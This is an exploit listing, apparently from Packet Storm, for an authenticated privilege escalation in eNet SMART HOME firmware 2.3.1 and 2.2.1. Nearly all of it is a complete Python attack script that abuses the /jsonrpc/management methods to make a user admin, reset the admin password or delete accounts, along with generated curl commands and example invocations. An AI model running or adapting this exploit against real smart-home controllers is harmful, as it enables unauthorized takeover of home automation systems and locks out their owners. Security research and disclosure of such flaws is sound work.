Lucene search
K

📄 eNet SMART HOME 2.3.1 Privilege Escalation

🗓️ 18 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 117 Views

Authenticated privilege escalation on eNet Smart Home via JSON-RPC management methods.

Code
=============================================================================================================================================
    | # Title     : eNet SMART HOME ≤ 2.3.1 / 2.2.1 – Authenticated Privilege Escalation via JSON‑RPC Management Interface                      |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://www.enet-smarthome.com/en/                                                                                          |
    =============================================================================================================================================
    
    [+] Summary    : The eNet Smart Home device firmware (versions 2.3.1 build 46841 and 2.2.1 build 46056) exposes JSON‑RPC management methods that may allow authenticated low‑privileged users to perform unauthorized administrative actions.
                     Improper server‑side authorization controls on the /jsonrpc/management endpoint may enable privilege escalation via methods such as:
    
    setUserGroup
    
    resetUserPassword
    
    deleteUserAccount
    
    If role validation is insufficient, an authenticated standard user may escalate to administrative privileges by manipulating JSON‑RPC parameters.
    
    [+] POC : 
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import argparse
    import random
    from urllib3.exceptions import InsecureRequestWarning
    from colorama import init, Fore, Style
    
    init(autoreset=True)
    
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    
    class ENetSmartHomeExploit:
        def __init__(self, target, port, protocol, icp, verbose=False):
            """
            Initialize the exploit class
            
            Args:
                target (str): Target IP or hostname
                port (str/int): Target port
                protocol (str): http or https
                icp (str): ICP parameter from URL
                verbose (bool): Verbose output
            """
            self.target = target
            self.port = port
            self.protocol = protocol
            self.icp = icp
            self.verbose = verbose
            self.base_url = f"{protocol}://{target}:{port}"
            self.session = requests.Session()
            self.session.verify = False  # Ignore SSL certificates
            self.session.headers.update({
                'Content-Type': 'application/json; charset=utf-8',
                'Accept': 'application/json, */*',
                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
            })
    
        def print_banner(self):
            """Print tool banner"""
            banner = f"""
    {Fore.CYAN}╔══════════════════════════════════════════════════════════╗
    ║                                                              ║
    ║   {Fore.YELLOW}eNet SMART HOME - Privilege Escalation Exploit by indoushka {Fore.CYAN}            ║
    ║   {Fore.WHITE}ZSL-2026-5975 | Discovered by Gjoko 'LiquidWorm' Krstic{Fore.CYAN}   ║
    ║   {Fore.RED}Version: 2.3.1 (46841) and 2.2.1 (46056){Fore.CYAN}                  ║
    ║                                                              ║
    ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
            """
            print(banner)
    
        def print_warnings(self):
            """Print important warnings"""
            warnings = f"""
    {Fore.RED}╔══════════════════════════════════════════════════════════╗
    ║                     ⚠️  indoushka  ⚠️                        ║
    ╠══════════════════════════════════════════════════════════════╣
    ║ • This exploit requires a valid session cookie               ║
    ║ • You must be logged in as a regular user first              ║
    ║ • If server validates permissions, exploit will FAIL         ║
    ╚══════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
            """
            print(warnings)
    
        def login(self, username, password):
            """
            Login to get session cookie
            
            Args:
                username (str): Username
                password (str): Password
                
            Returns:
                bool: True if login successful
            """
            print(f"{Fore.YELLOW}[*] Attempting login as {username}...")
            
            url = f"{self.base_url}/jsonrpc/auth"
            payload = {
                "jsonrpc": "2.0",
                "method": "login",
                "params": {
                    "userName": username,
                    "password": password
                },
                "id": 1
            }
            
            try:
                response = self.session.post(url, json=payload, timeout=10)
                
                if response.status_code == 200:
                    data = response.json()
                    if "result" in data and data["result"].get("success"):
                        print(f"{Fore.GREEN}[+] Login successful!")
                        if self.verbose:
                            print(f"{Fore.CYAN}[DEBUG] Cookies: {dict(self.session.cookies)}")
                        return True
                    else:
                        print(f"{Fore.RED}[-] Login failed: Invalid credentials")
                        if self.verbose:
                            print(f"{Fore.CYAN}[DEBUG] Response: {json.dumps(data, indent=2)}")
                else:
                    print(f"{Fore.RED}[-] Login failed: HTTP {response.status_code}")
                    
            except requests.exceptions.RequestException as e:
                print(f"{Fore.RED}[-] Login error: {e}")
                
            return False
    
        def execute_exploit(self, action, **kwargs):
            """
            Execute the exploit
            
            Args:
                action (str): elevate, reset, delete, or test
                **kwargs: Additional parameters based on action
                
            Returns:
                dict: Response data
            """
            url = f"{self.base_url}/jsonrpc/management"
    
            if action == "elevate":
                method = "setUserGroup"
                params = {
                    "userName": kwargs.get("username", "zeroscience"),
                    "userGroup": kwargs.get("group", "UG_ADMIN")
                }
            elif action == "reset":
                method = "resetUserPassword"
                params = {
                    "userName": kwargs.get("username", "admin"),
                    "defaultPassword": kwargs.get("password", "12345678")
                }
            elif action == "delete":
                method = "deleteUserAccount"
                params = {
                    "userName": kwargs.get("username", "zeroscience")
                }
            elif action == "test":
                method = kwargs.get("test_type", "getUserList")
                params = {}
            else:
                print(f"{Fore.RED}[-] Invalid action: {action}")
                return None
    
            request_id = random.randint(1, 9999)
            
            payload = {
                "jsonrpc": "2.0",
                "method": method,
                "params": params,
                "id": request_id
            }
    
            referer = f"{self.base_url}/serverconfiguration.html?icp={self.icp}#Usermanagement"
            self.session.headers.update({'Referer': referer})
            
            print(f"{Fore.YELLOW}[*] Executing: {method}")
            if self.verbose:
                print(f"{Fore.CYAN}[DEBUG] URL: {url}")
                print(f"{Fore.CYAN}[DEBUG] Referer: {referer}")
                print(f"{Fore.CYAN}[DEBUG] Payload: {json.dumps(payload, indent=2)}")
            
            try:
                response = self.session.post(url, json=payload, timeout=10)
                
                if self.verbose:
                    print(f"{Fore.CYAN}[DEBUG] Response status: {response.status_code}")
                    print(f"{Fore.CYAN}[DEBUG] Response headers: {dict(response.headers)}")
                
                if response.status_code == 200:
                    data = response.json()
    
                    if "error" in data:
                        print(f"{Fore.RED}[-] Server returned error:")
                        print(json.dumps(data["error"], indent=2))
    
                        if data["error"].get("code") == -32601:
                            print(f"{Fore.YELLOW}[!] Method not found - Target version may be different")
                        elif "permission" in str(data["error"]).lower():
                            print(f"{Fore.RED}[!] Permission denied - Server validates roles")
                        elif "auth" in str(data["error"]).lower():
                            print(f"{Fore.RED}[!] Authentication failed - Login required")
                        
                        return data
                    else:
                        print(f"{Fore.GREEN}[+] Success!")
                        print(json.dumps(data, indent=2))
    
                        if action == "elevate" and params["userGroup"] == "UG_ADMIN":
                            print(f"{Fore.GREEN}[+] Privilege escalation completed!")
                            print(f"{Fore.YELLOW}[!] User {params['userName']} is now admin")
                        elif action == "reset":
                            print(f"{Fore.GREEN}[+] Password reset completed!")
                        elif action == "delete":
                            print(f"{Fore.GREEN}[+] User deleted successfully!")
                        elif action == "test" and "result" in data:
                            print(f"{Fore.GREEN}[+] Test passed - Vulnerability may be present")
                        
                        return data
                else:
                    print(f"{Fore.RED}[-] HTTP Error: {response.status_code}")
                    
                    if response.status_code == 401:
                        print(f"{Fore.RED}[!] Unauthorized - Login required first")
                    elif response.status_code == 403:
                        print(f"{Fore.RED}[!] Forbidden - Insufficient permissions or CSRF token required")
                    elif response.status_code == 404:
                        print(f"{Fore.RED}[!] Not Found - Check URL or endpoint")
                        
                    if self.verbose:
                        print(f"{Fore.CYAN}[DEBUG] Response text: {response.text[:200]}")
                        
            except requests.exceptions.Timeout:
                print(f"{Fore.RED}[-] Request timeout (10s) - Server not responding")
            except requests.exceptions.ConnectionError:
                print(f"{Fore.RED}[-] Connection failed - Check target and port")
            except requests.exceptions.RequestException as e:
                print(f"{Fore.RED}[-] Request error: {e}")
                
            return None
    
        def get_session_info(self):
            """Get current session information"""
            print(f"{Fore.YELLOW}[*] Session information:")
            print(f"    Cookies: {dict(self.session.cookies)}")
            print(f"    Headers: {dict(self.session.headers)}")
    
        def generate_curl_command(self, action, **kwargs):
            """
            Generate curl command for manual testing
            
            Args:
                action (str): Action type
                **kwargs: Parameters for the action
            """
            if action == "elevate":
                method = "setUserGroup"
                params = {
                    "userName": kwargs.get("username", "zeroscience"),
                    "userGroup": kwargs.get("group", "UG_ADMIN")
                }
            elif action == "reset":
                method = "resetUserPassword"
                params = {
                    "userName": kwargs.get("username", "admin"),
                    "defaultPassword": kwargs.get("password", "12345678")
                }
            elif action == "delete":
                method = "deleteUserAccount"
                params = {
                    "userName": kwargs.get("username", "zeroscience")
                }
            elif action == "test":
                method = kwargs.get("test_type", "getUserList")
                params = {}
            else:
                return None
                
            payload = {
                "jsonrpc": "2.0",
                "method": method,
                "params": params,
                "id": random.randint(1, 9999)
            }
            
            referer = f"{self.base_url}/serverconfiguration.html?icp={self.icp}#Usermanagement"
            
            curl_cmd = f"""
    {Fore.CYAN}# ============================================
    # RECOMMENDED METHOD - Command Line (No browser restrictions)
    # ============================================
    
    # Step 1: Login and save cookies
    curl -k -c cookies.txt -X POST "{self.base_url}/jsonrpc/auth" \\
      -H "Content-Type: application/json" \\
      -d '{json.dumps({"jsonrpc":"2.0","method":"login","params":{"userName":"YOUR_USERNAME","password":"YOUR_PASSWORD"},"id":1})}'
    
    # Step 2: Execute exploit
    curl -k -b cookies.txt -X POST "{self.base_url}/jsonrpc/management" \\
      -H "Content-Type: application/json" \\
      -H "Referer: {referer}" \\
      -d '{json.dumps(payload)}'
    
    # ============================================
    # Notes:
    # - Use -k to ignore SSL certificate errors
    # - Cookies saved in cookies.txt
    # - Replace YOUR_USERNAME/YOUR_PASSWORD with actual credentials
    # ============================================{Style.RESET_ALL}
    """
            print(curl_cmd)
    
    def main():
        parser = argparse.ArgumentParser(
            description="eNet SMART HOME Privilege Escalation Exploit (ZSL-2026-5975)",
            formatter_class=argparse.RawDescriptionHelpFormatter,
            epilog="""
    Examples:
      python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --protocol https --action elevate -u zeroscience -g UG_ADMIN
      python3 exploit.py -t 192.168.1.100 -p 80 --icp a1b2c3d4e5 --action reset -u admin --password 12345678
      python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --action delete -u zeroscience
      python3 exploit.py -t 192.168.1.100 -p 443 --icp a1b2c3d4e5 --action test --curl
            """
        )
        
        parser.add_argument("-t", "--target", required=True, help="Target IP or hostname")
        parser.add_argument("-p", "--port", required=True, help="Target port")
        parser.add_argument("--protocol", choices=["http", "https"], default="https", help="Protocol (default: https)")
        parser.add_argument("--icp", required=True, help="ICP parameter from URL (required)")
        parser.add_argument("--action", choices=["elevate", "reset", "delete", "test"], default="test", help="Action to perform")
        parser.add_argument("--login", action="store_true", help="Login first")
        parser.add_argument("-U", "--login-username", default="admin", help="Username for login")
        parser.add_argument("-P", "--login-password", default="12345678", help="Password for login")
        parser.add_argument("-u", "--username", default="zeroscience", help="Username for the action")
        parser.add_argument("-g", "--group", choices=["UG_USER", "UG_ADMIN"], default="UG_ADMIN", help="Target group for elevation")
        parser.add_argument("--password", default="12345678", help="New password for reset action")
        parser.add_argument("--test-type", choices=["getUserList", "getSystemInfo"], default="getUserList", help="Test type")
        parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output")
        parser.add_argument("--curl", action="store_true", help="Generate curl command only")
        parser.add_argument("--no-warnings", action="store_true", help="Disable warnings")
        
        args = parser.parse_args()
    
        exploit = ENetSmartHomeExploit(
            target=args.target,
            port=args.port,
            protocol=args.protocol,
            icp=args.icp,
            verbose=args.verbose
        )
    
        exploit.print_banner()
    
        if not args.no_warnings:
            exploit.print_warnings()
        if args.curl:
            exploit.generate_curl_command(
                action=args.action,
                username=args.username,
                group=args.group,
                password=args.password,
                test_type=args.test_type
            )
            sys.exit(0)
    
        if args.login:
            if not exploit.login(args.login_username, args.login_password):
                print(f"{Fore.RED}[-] Login failed. Exiting.")
                sys.exit(1)
        else:
            print(f"{Fore.YELLOW}[!] Warning: Not logging in. Make sure you have a valid session cookie.")
            print(f"{Fore.YELLOW}[!] Use --login to login first or --curl for manual testing.")
        if args.action == "elevate":
            exploit.execute_exploit(
                action="elevate",
                username=args.username,
                group=args.group
            )
        elif args.action == "reset":
            exploit.execute_exploit(
                action="reset",
                username=args.username,
                password=args.password
            )
        elif args.action == "delete":
            exploit.execute_exploit(
                action="delete",
                username=args.username
            )
        elif args.action == "test":
            exploit.execute_exploit(
                action="test",
                test_type=args.test_type
            )
    
    if __name__ == "__main__":
        try:
            main()
        except KeyboardInterrupt:
            print(f"\n{Fore.YELLOW}[!] Interrupted by user")
            sys.exit(0)
        except Exception as e:
            print(f"{Fore.RED}[-] Unexpected error: {e}")
            sys.exit(1)
    		
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation